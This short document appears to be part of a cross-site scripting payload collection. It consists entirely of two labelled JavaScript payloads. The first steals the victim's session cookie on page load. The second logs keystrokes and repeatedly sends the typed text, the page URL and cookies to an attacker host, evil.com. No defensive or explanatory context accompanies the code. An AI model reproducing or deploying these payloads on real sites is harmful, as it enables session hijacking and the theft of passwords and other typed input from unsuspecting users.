Hijack a live session:
  <script>
       window.onload = function() {
           var img = document.createElement('image');
           img.src='http://evil.com/stolen_sessions.php?sess='+document.cookie;
           document.body.appendChild(img);
       }
  </script>
Remote key logger.
  <script>
       var send_to = 0;
       var typed = '';
       function send_it() {
            var old = document.getElementById('transport');
            var img = document.createElement('image');
            img.setAttribute('id','transport');
            img.src = 'http://evil.com/remote_keylogger.php?site='+window.location.href+'&typed='+typed+'&sess='+document.cookie;

            document.body.removeChild(old);
            document.body.appendChild(img);
            typed = '';
       }
       window.onkeypress = function(evnt) {
            clearTimeout(send_to);
            typed+= String.fromCharCode(evnt.charCode);
            send_to = setTimeout(send_it,5000);
       }
       window.onbeforeunload = send_it;
  </script>